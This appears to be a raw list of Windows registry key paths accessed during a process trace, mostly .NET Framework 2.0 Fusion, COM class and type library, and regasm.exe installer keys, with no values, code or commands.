HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy HKEY_CURRENT_USER\Software\Classes\AppID\regasm.exe HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1DF4D951 HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession HKEY_CURRENT_USER\Software\Classes\WinMgmts HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default) HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Scripting HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSclient HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain HKEY_CURRENT_USER\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it HKEY_CURRENT_USER\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default) HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA} HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32 HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler HKEY_CURRENT_USER\Software\Classes\TypeLib HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6} HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2 HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default) HKEY_CLASSES_ROOT\CLSID\{62E522DC-8CF3-40A8-8B2E-37D595651E40}\InprocServer32 HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\410 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\410 HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\10 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\10 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US HKEY_CURRENT_USER\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default) HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD} HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32 HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler HKEY_CURRENT_USER\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_CURRENT_USER\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default) HKEY_CLASSES_ROOT\CLSID\{04B83D61-21AE-11D2-8B33-00600806D9B6}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.CustomMarshalers__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualC__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_CLASSES_ROOT\CLSID\{D6BDAFB2-9435-491F-BB87-6AA0F0BC31A2}\InprocServer32 HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046} HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.JScript__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration.Install__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask 